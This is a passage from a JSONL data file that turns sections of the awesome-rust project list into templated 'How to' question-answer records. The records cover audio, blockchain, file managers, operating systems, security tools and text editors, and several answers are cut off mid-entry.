Piper.\n* [mirrord](https://github.com/metalbear-co/mirrord) - Connect your local process and your cloud environment, and run local code in cloud conditions\n* [nicohman/eidolon](https://github.com/nicohman/eidolon) - A steam and drm-free game registry and launcher for linux and macosx\n* [Pijul](htt", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312855"}
{"id": "gh_0a758406bf60", "question": "How to: Audio and Music", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [dano](https://github.com/kimono-koans/dano) - A hashdeep/md5tree (but much more) for media files\n* [enginesound](https://github.com/DasEtwas/enginesound) - A GUI and command line application used to procedurally generate semi-realistic engine sounds. Featuring in-depth configuration, variable sample rate and a frequency analysis window.\n* [Festival](https://github.com/hinto-janai/festival) - A local music player/server/client [![build-badge](https://github.com/hinto-janai/festival/actions/workflows/ci.yml/badge.svg)](https://github.com/hinto-janai/festival/actions/workflows/ci.yml)\n* [figsoda/mmtc](https://github.com/figsoda/mmtc) [[mmtc](https://crates.io/crates/mmtc)] - Minimal mpd terminal client that aims to be simple yet highly configurable [![build-badge](https://github.com/figsoda/mmtc/actions/workflows/ci.yml/badge.svg)](https://github.com/figsoda/mmtc/actions/workflows/ci.yml)\n* [Glicol](https://github.com/chaosprint/glicol) - Graph-oriented live coding language, for collaborative musicking in browsers.\n* [LargeModGames/spotatui](https://github.com/LargeModGames/spotatui) [[spotatui](https://crates.io/crates/spotatui)] - A Spotify terminal client with native streaming, synced lyrics, and real-time audio visualization [![Continuous Deployment](https://github.com/LargeModGames/spotatui/actions/workflows/cd.yml/badge.svg)](https://github.com/LargeModGames/spotatui/actions/workflows/cd.yml)\n* [mierak/rmpc](https://github.com/mierak/rmpc) [[rmpc](https://crates.io/crates/rmpc)] - A modern and configurable, terminal based MPD Client with album art support\n* [ncspot](https://github.com/hrkfdn/ncspot) - Cross-platform ncurses Spotify client, inspired by ncmpc and the likes. [![build badge](https://github.com/hrkfdn/ncspot/actions/workflows/ci.yml/badge.svg)](https://github.com/hrkfdn/ncspot/actions?query=workflow%3ABuild)\n* [OpenMeters](https://github.com/httpsworldview/openmeters) - Fast, simple, and professional audio metering/visualization for Linux written in Rust.\n* [Pinepods](https://github.com/madeofpendletonwool/PinePods) - A rust based podcast management system with multi-user support. Pinepods utilizes a central database so aspects like listen time and themes follow from device to device. With clients built using Tauri, it's a full cross-platform listening solution! [![Docker Container Build](https://github.com/madeofpendletonwool/PinePods/actions/workflows/docker-publish.yml/badge.svg)](https://github.com/madeofpendletonwool/PinePods/actions/workflows/docker-publish.yml)\n* [Polaris](https://github.com/agersant/polaris) - A music streaming application.\n* [Spotify Player](https://github.com/aome510/spotify-player) - A Spotify player in the terminal with full feature parity.\n* [Spotifyd](https://github.com/Spotifyd/spotifyd) - An open source Spotify client running as a UNIX daemon. [![Continuous Integration](https://github.com/Spotifyd/spotifyd/actions/workflows/ci.yml/badge.svg)](https://github.com/Spotifyd/spotifyd/actions/workflows/ci.yml)\n* [termusic](https://github.com/tramhao/termusic) - Music Player TUI written\n* [tunein-cli](https://github.com/tsirysndr/tunein-cli) - Browse and listen to thousands of radio stations across the globe right from your terminal [![CI](https://github.com/tsirysndr/tunein-cli/actions/workflows/ci.yml/badge.svg)](https://github.com/tsirysndr/tunein-cli/actions/workflows/ci.yml)\n* [WhatBPM](https://github.com/sergree/whatbpm) - A daily statically generated information resource for electronic dance music producers. Provides daily analytics on the most frequently used values for each EDM genre: tempos, keys, root notes, and so on, using publicly available data such as Beatport and Spotify.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312868"}
{"id": "gh_c18e491ef3f4", "question": "How to: Blockchain", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [Anchor](https://github.com/solana-foundation/anchor) - Anchor is the leading development framework for building secure Solana programs (smart contracts).\n* [artemis](https://github.com/paradigmxyz/artemis) - A simple, modular, and fast framework for writing MEV bots.\n* [beerus](https://github.com/eigerco/beerus) - Beerus is a trustless StarkNet Light Client, ⚡blazing fast ⚡ [![GitHub Workflow Status](https://github.com/eigerco/beerus/actions/workflows/check.yml/badge.svg)](https://github.com/eigerco/beerus/actions/workflows/check.yml)\n* [Bitcoin Satoshi's Vision](https://github.com/brentongunning/rust-sv) [[sv](https://crates.io/crates/sv)] - A library for working with Bitcoin SV.\n* [cairo](https://github.com/starkware-libs/cairo) - Cairo is the first Turing-complete language for creating provable programs for general computation. This is also the native language of [StarkNet](https://www.starknet.io), a ZK-Rollup using STARK proofs ![GitHub Workflow Status](https://img.shields.io/github/workflow/status/starkware-libs/cairo/CI?style=flat-square&logo=github)\n* [cairo-vm](https://github.com/lambdaclass/cairo-vm) - Implementation of the Cairo VM [![rust](https://github.com/lambdaclass/cairo-vm/actions/workflows/rust.yml/badge.svg)](https://github.com/lambdaclass/cairo-vm/actions/workflows/rust.yml)\n* [ChainX](https://github.com/chainx-org/ChainX) - Fully Decentralized Interchain Crypto Asset Management on Polkadot.\n* [CITA](https://github.com/citahub/cita) - A high performance blockchain kernel for enterprise users.\n* [coinbase-pro-rs](https://github.com/inv2004/coinbase-pro-rs) - Coinbase pro client, supports sync/async/websocket\n* [Diem](https://github.com/diem/diem) - Diem’s mission is to enable a simple global currency and financial infrastructure that empowers billions of people.\n* [dusk-network/rusk](https://github.com/dusk-network/rusk) - Reference implementation of Dusk, a privacy-focused, scalable FMI for real-world assets (RWA) and compliant financial applications. [![Build Status](https://github.com/dusk-network/rusk/actions/workflows/rusk_ci.yml/badge.svg)](https://github.com/dusk-network/rusk/actions/workflows/rusk_ci.yml)\n* [electrumrs](https://github.com/romanz/electrs) - An efficient re-implementation of Electrum Server.\n* [ethabi](https://github.com/rust-ethereum/ethabi) - Encode and decode smart contract invocations.\n* [ethaddrgen](https://github.com/Limeth/ethaddrgen) - Custom Ethereum vanity address generator\n* [etk](https://github.com/quilt/etk) - etk is a collection of tools for writing, reading, and analyzing EVM bytecode.\n* [Forest](https://github.com/ChainSafe/forest) - Filecoin implementation [![Build Status](https://img.shields.io/circleci/build/gh/ChainSafe/forest/main?branch=master)](https://app.circleci.com/pipelines/github/ChainSafe/forest?branch=main)\n* [Foundry](https://github.com/foundry-rs/foundry) - Foundry is a blazing fast, portable and modular toolkit for Ethereum application development. ![Build Status](https://img.shields.io/github/workflow/status/foundry-rs/foundry/test?style=flat-square)\n* [Grin](https://github.com/mimblewimble/grin/) - Evolution of the MimbleWimble protocol\n* [hdwallet](https://github.com/jjyr/hdwallet) [[hdwallet](https://crates.io/crates/hdwallet)] - BIP-32 HD wallet related key derivation utilities.\n* [Holochain](https://github.com/holochain/holochain) - Scalable P2P alternative to blockchain for all those distributed apps you always wanted to build. [![detect critical check failures](https://github.com/holochain/holochain/actions/workflows/autorebase.yml/badge.svg)](https://github.com/holochain/holochain/actions/)\n* [Hyperlane](https://github.com/hyperlane-xyz/hyperlane-monorepo) - Framework for permissionless, modular interoperability. The offchain clients are written in Rust, as well as the smart contracts for Solana VM and CosmWasm.\n* [ibc-rs](https://github.com/informalsystems/hermes) - Implementation of the [Interblockchain Communication](https://docs.cosmos.network/ibc) protocol\n* [infincia/bip39-rs](https://github.com/infincia/bip39-rs) [[bip39](https://crates.io/crates/bip39)] - Implementation of BIP39.\n* [interBTC](https://github.com/interlay/interbtc) - Trustless and fully decentralized Bitcoin bridge to Polkadot and Kusama.\n* [Joystream](https://github.com/Joystream/joystream) - A user governed video platform\n* [Kaspa](https://github.com/kaspanet/rusty-kaspa) - The fastest, open-source, decentralized & fully scalable Layer-1 in the world.\n* [Lighthouse](https://github.com/sigp/lighthouse) - Ethereum Consensus Layer (CL) Client [![Build Status](https://github.com/sigp/lighthouse/actions/workflows/test-suite.yml/badge.svg)](https://github.com/sigp/lighthouse/actions)\n* [near/nearcore](https://github.com/near/nearcore) - decentralized smart-contract platform for low-end mobile devices.\n* [Nervos CKB](https://github.com/nervosnetwork/ckb) - Nervos CKB is a public permissionless blockchain, the common knowledge layer of Nervos network.\n*", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312889"}
{"id": "gh_5647ab134198", "question": "How to: File manager", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [broot](https://github.com/Canop/broot) - A new way to see and navigate directory trees (get an overview of a directory, even a big one; find a directory then `cd` to it; never lose track of file hierarchy while you search; manipulate your files, ...), further reading [dystroy.org/broot](https://dystroy.org/broot/) [![Latest Version](https://img.shields.io/crates/v/broot.svg)](https://crates.io/crates/broot)\n* [FileSSH](https://github.com/JayanAXHF/FileSSH) - A fast and easy to use TUI to manage files on a remote server, including quick SSH session creation, in-place file editing and more! ![crates.io](https://img.shields.io/crates/v/filessh)\n* [joshuto](https://github.com/kamiyaa/joshuto) - ranger-like terminal file manager\n* [pikeru](https://github.com/dvhar/pikeru) - File picker for linux with good thumbnails and search\n* [xplr](https://github.com/sayanarijit/xplr) - A hackable, minimal, fast TUI file explorer\n* [yazi](https://github.com/sxyazi/yazi) - Blazing fast terminal file manager, based on async I/O.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312918"}
{"id": "gh_093b84f455c6", "question": "How to: Image processing", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [Imager](https://github.com/imager-io/imager) - Automated image optimization.\n* [oxipng](https://github.com/oxipng/oxipng) [[oxipng](https://crates.io/crates/oxipng)] - Multithreaded PNG optimizer written in Rust. [![Build Status](https://github.com/oxipng/oxipng/workflows/oxipng/badge.svg)](https://github.com/oxipng/oxipng/actions?query=branch%3Amaster) [![Version](https://img.shields.io/crates/v/oxipng.svg)](https://crates.io/crates/oxipng)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312930"}
{"id": "gh_526f7bd2c829", "question": "How to: Industrial automation", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [locka99/opcua](https://github.com/locka99/opcua) - A [OPC UA](https://opcfoundation.org/about/opc-technologies/opc-ua/) library.\n* [slowtec/tokio-modbus](https://github.com/slowtec/tokio-modbus) - A [tokio](https://tokio.rs)-based [modbus](https://www.modbus.org) library.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312934"}
{"id": "gh_3f57878259fb", "question": "How to: Message Queue", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [Rmqtt](https://github.com/rmqtt/rmqtt) - MQTT Server/MQTT Broker — Scalable distributed MQTT message broker for IoT in the 5G era.\n* [RobustMQ](https://github.com/robustmq/robustmq) - Next generation cloud-native converged message queue.\n* [Rocketmq-Rust](https://github.com/mxsm/rocketmq-rust) - 🚀Apache RocketMQ build in Rust🦀. Faster, safer, and with lower memory usage.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312941"}
{"id": "gh_c02d9a6c3edd", "question": "How to: Observability", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [avito-tech/bioyino](https://github.com/avito-tech/bioyino) - A high-performance scalable StatsD compatible server.\n* [MegaAntiCheat/client-backend](https://github.com/MegaAntiCheat/client-backend) - The client app for [MAC](https://github.com/MegaAntiCheat).\n* [openobserve](https://github.com/openobserve/openobserve) - 10x easier, 140x lower storage cost, high performance, petabyte scale - Elasticsearch/Splunk/Datadog alternative.\n* [OpenTelemetry](https://crates.io/crates/opentelemetry) - OpenTelemetry provides a single set of APIs, libraries, agents, and collector services to capture distributed traces and metrics from your application. You can analyze them using Prometheus, Jaeger, and other observability tools. [![GitHub Actions CI](https://github.com/open-telemetry/opentelemetry-rust/actions/workflows/ci.yml/badge.svg)](https://github.com/open-telemetry/opentelemetry-rust/actions/workflows/ci.yml)\n* [Quickwit-oss/quickwit](https://github.com/quickwit-oss/quickwit) - Cloud-native and highly cost-efficient search engine for log management. [![CI](https://github.com/quickwit-oss/quickwit/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/quickwit-oss/quickwit/actions?query=workflow%3ACI)\n* [Scaphandre](https://github.com/hubblo-org/scaphandre) - A power consumption monitoring agent, to track host and each service power consumption and enable designing systems and applications for more sustainability. Designed to fit any monitoring toolchain (already supports prometheus, warp10, riemann...).\n* [vectordotdev/vector](https://github.com/vectordotdev/vector) - A High-Performance, Logs, Metrics, & Events Router.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312947"}
{"id": "gh_1ae1d505aefd", "question": "How to: Operating systems", "question_body": "About rust-unofficial/awesome-rust", "answer": "See also [A comparison of operating systems written in Rust](https://github.com/flosse/rust-os-comparison).\n\n* [0x59616e/SteinsOS](https://github.com/0x59616e/SteinsOS) - An OS for armv8-a architecture.\n* [Andy-Python-Programmer/aero](https://github.com/Andy-Python-Programmer/aero) - A modern, unix-like operating system following the monolithic kernel design.\n* [asterinas/asterinas](https://github.com/asterinas/asterinas) - A secure, fast, and general-purpose OS kernel that provides Linux-compatible ABI.\n* [DragonOS-Community/DragonOS](https://github.com/DragonOS-Community/DragonOS) - An operating system with a self-developed kernel from scratch and Linux compatibility.\n* [koibtw/highlightos](https://github.com/koibtw/highlightos) - x86_64 OS kernel written in Rust & Assembly.\n* [redox-os/redox](https://gitlab.redox-os.org/redox-os/redox) - A Unix-like general-purpose microkernel-based operating system with a focus on security, stability, performance, correctness, simplicity and pragmatism that aims to be a complete alternative for Linux and BSD.\n* [thepowersgang/rust_os](https://github.com/thepowersgang/rust_os) - An OS kernel written in rust. Non POSIX\n* [theseus-os/Theseus](https://github.com/theseus-os/Theseus) - A safe-language, single address space and single privilege level OS written from scratch - [![build badge](https://img.shields.io/github/workflow/status/theseus-os/Theseus/Documentation?label=docs%20build)](https://www.theseus-os.com/Theseus/book/index.html)\n* [tock/tock](https://github.com/tock/tock) - A secure embedded operating system for Cortex-M based microcontrollers\n* [vinc/moros](https://github.com/vinc/moros) - A text-based hobby operating system targeting computers with a x86-64 architecture and a BIOS.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312954"}
{"id": "gh_e03a17eda734", "question": "How to: Package Managers", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [helsing-ai/buffrs](https://github.com/helsing-ai/buffrs) [[buffrs](https://crates.io/crates/buffrs)] - A modern package manager for protocol buffers and gRPC architectures.\n* [rebos](https://crates.io/crates/rebos) - A declarative way to automate package management on any linux distro [![crate](https://img.shields.io/crates/v/rebos?logo=rust)](https://crates.io/crates/rebos)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312959"}
{"id": "gh_2f6cb0823761", "question": "How to: Productivity", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [0xdea/jiggy](https://github.com/0xdea/jiggy) [[jiggy](https://crates.io/crates/jiggy)] - Minimalistic cross-platform mouse jiggler written in Rust [![build](https://github.com/0xdea/jiggy/actions/workflows/build.yml/badge.svg)](https://github.com/0xdea/oneiromancer/jiggy/workflows/build.yml)\n* [agent-of-empires](https://github.com/njbrake/agent-of-empires) - A TUI/CLI for managing multiple AI coding agent sessions with tmux, git worktrees, and Docker sandboxing [![CI](https://github.com/njbrake/agent-of-empires/actions/workflows/ci.yml/badge.svg)](https://github.com/njbrake/agent-of-empires/actions)\n* [aichat](https://github.com/sigoden/aichat) - All-in-one LLM CLI tool featuring Shell Assistant, Chat-REPL, RAG, AI Tools & Agents, with access to OpenAI, Claude, Gemini, Ollama, Groq, and more.\n* [ast-grep](https://github.com/ast-grep/ast-grep) - A CLI tool for code structural search, lint and rewriting.\n* [Bartib](https://github.com/nikolassv/bartib) [[Bartib](https://crates.io/crates/bartib)] - A simple timetracker for the command line [![Tests](https://github.com/nikolassv/bartib/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/nikolassv/bartib/actions/workflows/test.yml)\n* [CookCLI](https://github.com/cooklang/CookCLI) - Command-line recipe manager with web server, shopping lists, and meal planning capabilities.\n* [espanso](https://github.com/espanso/espanso) - A cross-platform Text Expander. [![CI](https://github.com/espanso/espanso/actions/workflows/ci.yml/badge.svg?branch=dev&event=push)](https://github.com/espanso/espanso/actions/workflows/ci.yml)\n* [eureka](https://crates.io/crates/eureka) - A CLI tool to input and store your ideas without leaving the terminal\n* [flusterIO/fluster](https://github.com/flusterIO/fluster) - An all-in-one note taking application built for STEM students and professionals. [![publish](https://github.com/flusterIO/fluster/actions/workflows/release_rust.yml/badge.svg)](https://github.com/flusterIO/fluster/actions/workflows/release_rust.yml)\n* [Furtherance](https://github.com/unobserved-io/Furtherance) - Time tracking app built with GTK4\n* [graves/awful_aj](https://github.com/graves/awful_aj) [[awful_aj](https://crates.io/crates/awful_aj)] - A CLI for working with OpenAI-compatible APIs, YAML templates for prompt engineering and a built in Vector Database for persistent memories.\n* [illacloud/illa](https://github.com/illacloud/illa) - Low-code internal tool builder.\n* [kruseio/hygg](https://github.com/kruseio/hygg) [[hygg](https://crates.io/crates/hygg)] - 📚 Simplifying the way you read. Minimalistic Vim-like TUI document reader.\n* [LLDAP](https://github.com/lldap/lldap) - Simplified LDAP interface for authentication.\n* [pier-cli/pier](https://github.com/pier-cli/pier) - A central repository to manage (add, search metadata, etc.) all your one-liners, scripts, tools, and CLIs\n* [ShadoySV/work-break](https://github.com/ShadoySV/work-break) [[work-break](https://crates.io/crates/work-break)] - Work and rest time balancer taking into account your current and today strain [![Build](https://github.com/ShadoySV/work-break/actions/workflows/release.yml/badge.svg)](https://github.com/ShadoySV/work-break/actions/workflows/release.yml)\n* [yashs662/rust_kanban](https://github.com/yashs662/rust_kanban) [[rust-kanban](https://crates.io/crates/rust-kanban)] [![Build](https://github.com/yashs662/rust_kanban/actions/workflows/build.yml/badge.svg)](https://github.com/yashs662/rust_kanban/releases) - A Kanban App for the terminal", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312973"}
{"id": "gh_718173f94435", "question": "How to: Routing protocols", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [Holo](https://github.com/holo-routing/holo) - Holo is a suite of routing protocols designed to support high-scale and automation-driven networks\n* [RustyBGP](https://github.com/osrg/rustybgp) - BGP", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.312978"}
{"id": "gh_68f1e01de0ae", "question": "How to: Security tools", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [0xdea/augur](https://github.com/0xdea/augur) [[augur](https://crates.io/crates/augur)] - Reverse engineering assistant that extracts strings and related pseudo-code from a binary file [![build](https://github.com/0xdea/augur/actions/workflows/build.yml/badge.svg)](https://github.com/0xdea/augur/actions/workflows/build.yml)\n* [0xdea/haruspex](https://github.com/0xdea/haruspex) [[haruspex](https://crates.io/crates/haruspex)] - Vulnerability research assistant that extracts pseudo-code from the IDA Hex-Rays decompiler [![build](https://github.com/0xdea/haruspex/actions/workflows/build.yml/badge.svg)](https://github.com/0xdea/haruspex/actions/workflows/build.yml)\n* [0xdea/oneiromancer](https://github.com/0xdea/oneiromancer) [[oneiromancer](https://crates.io/crates/oneiromancer)] - Reverse engineering assistant that uses a locally running LLM to aid with source code analysis [![build](https://github.com/0xdea/oneiromancer/actions/workflows/build.yml/badge.svg)](https://github.com/0xdea/oneiromancer/actions/workflows/build.yml)\n* [0xdea/rhabdomancer](https://github.com/0xdea/rhabdomancer) [[rhabdomancer](https://crates.io/crates/rhabdomancer)] - Vulnerability research assistant that locates all calls to potentially insecure API functions in a binary file [![build](https://github.com/0xdea/rhabdomancer/actions/workflows/build.yml/badge.svg)](https://github.com/0xdea/rhabdomancer/actions/workflows/build.yml)\n* [AdGuardian-Term](https://github.com/Lissy93/AdGuardian-Term) [[adguardian](https://crates.io/crates/adguardian)] - Terminal-based, real-time traffic monitoring and statistics for your AdGuard Home instance\n* [AFLplusplus/LibAFL](https://github.com/AFLplusplus/LibAFL) - Advanced Fuzzing Library - Slot your Fuzzer together in Rust! Scales across cores and machines. For Windows, Android, MacOS, Linux, no_std, etc. [![build and test](https://github.com/AFLplusplus/LibAFL/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/AFLplusplus/LibAFL/actions/workflows/build_and_test.yml)\n* [arp-scan-rs](https://github.com/kongbytes/arp-scan-rs) - A minimalistic ARP scan tool for fast local network scans\n* [biandratti/huginn-net](https://github.com/biandratti/huginn-net) - Multi-protocol passive network fingerprinting combining p0f TCP and JA4 TLS analysis for OS and application detection [![CI](https://github.com/biandratti/huginn-net/actions/workflows/ci.yml/badge.svg)](https://github.com/biandratti/huginn-net/actions/workflows/ci.yml)\n* [bountyyfi/lonkero](https://github.com/bountyyfi/lonkero) - Enterprise-grade web vulnerability scanner with 60+ attack modules for penetration testing and security assessments\n* [cargo-audit](https://crates.io/crates/cargo-audit) - Audit Cargo.lock for crates with security vulnerabilities\n* [cargo-auditable](https://crates.io/crates/cargo-auditable) - Make production Rust binaries auditable\n* [cargo-crev](https://crates.io/crates/cargo-crev) - A cryptographically verifiable code review system for the cargo package manager.\n* [cargo-deny](https://crates.io/crates/cargo-deny) - Cargo plugin to help you manage large dependency graphs\n* [Cherrybomb](https://github.com/blst-security/cherrybomb) - Stop half-done API specifications with a CLI tool that helps you avoid undefined user behaviour by validating your API specifications.\n* [cotp](https://github.com/replydev/cotp) - Trustworthy, encrypted, command-line TOTP/HOTP authenticator app with import functionality.\n* [domcyrus/rustnet](https://github.com/domcyrus/rustnet) - Cross-platform network monitoring TUI with process identification via eBPF/PKTAP and deep packet inspection [![build badge](https://img.shields.io/github/actions/workflow/status/domcyrus/rustnet/rust.yml?logo=github)](https://github.com/domcyrus/rustnet/actions/workflows/rust.yml) [![crate](https://img.shields.io/crates/v/rustnet-monitor?logo=rust)](https://crates.io/crates/rustnet-monitor)\n* [entropic-security/xgadget](https://github.com/entropic-security/xgadget) [[xgadget](https://crates.io/crates/xgadget)] - Fast, parallel, cross-variant ROP/JOP gadget search [![GitHub Actions](https://github.com/entropic-security/xgadget/workflows/test/badge.svg)](https://github.com/entropic-security/xgadget/actions)\n* [epi052/feroxbuster](https://github.com/epi052/feroxbuster) - A simple, fast, recursive content discovery tool.\n* [Inspektor](https://github.com/inspektor-dev/inspektor) - A database protocol-aware proxy that is used to enforce access policies 👮\n* [kpcyrd/authoscope](https://github.com/kpcyrd/authoscope) - A scriptable network authentication cracker\n* [kpcyrd/rshijack](https://github.com/kpcyrd/rshijack) - A TCP connection hijacker; rewrite of shijack\n* [kpcyrd/sn0int](https://github.com/kpcyrd/sn0int) - A semi-automatic OSINT framework and package manager\n* [kpcyrd/sniffglue](https://github.com/kpcyrd/sniffglue) - A secure multithreaded packet sniffer\n* [mongodb/kingfisher](https://github.com/mongodb/kingfisher) - A blazingly fast tool for secret detec", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313000"}
{"id": "gh_1f48b242a0b4", "question": "How to: Social networks", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Mastodon\n  * [Rustodon](https://github.com/rustodon/rustodon) - A Mastodon-compatible, ActivityPub-speaking server.\n* Telegram\n  * [tgt](https://github.com/FedericoBruzzone/tgt) - A crossplatform TUI for Telegram [![ci-linux](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-linux.yml/badge.svg)](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-linux.yml) [![ci-macos](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-macos.yml/badge.svg)](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-macos.yml) [![ci-windows](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-windows.yml/badge.svg)](https://github.com/FedericoBruzzone/tgt/actions/workflows/ci-windows.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313006"}
{"id": "gh_63f4daf5db6e", "question": "How to: Task scheduling", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [tasklet](https://github.com/stav121/tasklet) [[tasklet](https://crates.io/crates/tasklet)] - A task scheduling library written in Rust ![Build Status](https://img.shields.io/github/actions/workflow/status/stav121/tasklet/rust.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313030"}
{"id": "gh_f668f97fbb10", "question": "How to: Text editors", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [amp](https://amp.rs) - Inspired by Vi/Vim.\n* [emacs-ng](https://github.com/emacs-ng/emacs-ng) - Complementing the C codebase with rust code to introduce new features.\n* [gchp/iota](https://github.com/gchp/iota) - A simple text editor\n* [helix](https://github.com/helix-editor/helix) - A post-modern modal text editor inspired by Neovim/Kakoune. [![build badge](https://github.com/helix-editor/helix/actions/workflows/build.yml/badge.svg)](https://github.com/helix-editor/helix/actions)\n* [ilai-deutel/kibi](https://github.com/ilai-deutel/kibi) - A tiny (≤1024 LOC) text editor with syntax highlighting, incremental search and more. [![build badge](https://github.com/ilai-deutel/kibi/actions/workflows/ci.yml/badge.svg)](https://github.com/ilai-deutel/kibi/actions?query=branch%3Amaster)\n* [Lapce](https://github.com/lapce/lapce) - A modern editor with a backend. Taking inspiration from the discontinued [xi-editor](https://github.com/xi-editor/xi-editor).\n* [mathall/rim](https://github.com/mathall/rim) - Vim-like text editor.\n* [ox](https://github.com/curlpipe/ox) - An independent Rust text editor that runs in your terminal!\n* [vamolessa/pepper](https://git.sr.ht/~lessa/pepper) [[pepper](https://crates.io/crates/pepper)] - An opinionated modal editor to simplify code editing from the terminal\n* [zed](https://github.com/zed-industries/zed) - A high-performance, multiplayer code editor from the creators of Atom and Tree-sitter.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313038"}
{"id": "gh_b858fb65ee3f", "question": "How to: Text processing", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [ashvardanian/stringzilla](https://github.com/ashvardanian/StringZilla) - SIMD-accelerated string search, sort, edit distances, alignments, and generators for x86 AVX2 & AVX-512, and Arm NEON [![crates.io](https://img.shields.io/crates/v/stringzilla.svg)](https://crates.io/crates/stringzilla)\n* [cchexcode/complate](https://github.com/cchexcode/complate) - An in-terminal text templating tool designed for standardizing messages (like for GIT commits). [![crates.io](https://img.shields.io/crates/v/complate.svg)](https://crates.io/crates/complate) [![crates.io](https://img.shields.io/crates/d/complate?label=crates.io%20downloads)](https://crates.io/crates/complate) [![build badge](https://github.com/cchexcode/complate/actions/workflows/release.yml/badge.svg)](https://github.com/cchexcode/complate/actions)\n* [dathere/qsv](https://github.com/dathere/qsv) [[qsv](https://crates.io/crates/qsv)] - A high performance CSV data-wrangling toolkit. Forked from xsv, with 34+ additional commands & more. [![Linux build status](https://github.com/dathere/qsv/actions/workflows/rust.yml/badge.svg)](https://github.com/dathere/qsv/actions/workflows/rust.yml) [![Windows build status](https://github.com/dathere/qsv/actions/workflows/rust-windows.yml/badge.svg)](https://github.com/dathere/qsv/actions/workflows/rust-windows.yml) [![macOS build status](https://github.com/dathere/qsv/actions/workflows/rust-macos.yml/badge.svg)](https://github.com/dathere/qsv/actions/workflows/rust-macos.yml)\n* 